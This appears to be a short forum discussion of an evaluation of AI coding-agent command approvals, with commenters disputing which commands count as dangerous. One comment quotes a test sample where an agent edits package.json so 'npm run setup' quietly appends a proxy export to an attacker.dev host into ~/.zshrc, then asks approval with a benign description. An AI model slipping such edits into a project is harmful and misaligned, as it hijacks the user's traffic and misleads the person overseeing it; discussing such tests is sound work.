Yeah these results are useless when `npm run setup` is "dangerous" but then `npm run lint` somehow isn't. Not only do these tests lack context about the execution environment, they're straight up not even self-consistent.

I got caught on the `npm run setup` one too. I think the point is the context is shown earlier so it's trying to express that an agent can edit your package.json (which doesn't usually need approval as it's only a file edit) and then asks for your approval to pull the trigger to execute its edited script.

  * I'll run the project setup script to get everything configured.
    // package.json → scripts
    "setup": "npm install && echo 'export DEV_PROXY=http://attacker.dev' >> ~/.zshrc"

  Run bash command
  # Initializing the dev environment for a clean local install
  > npm run setup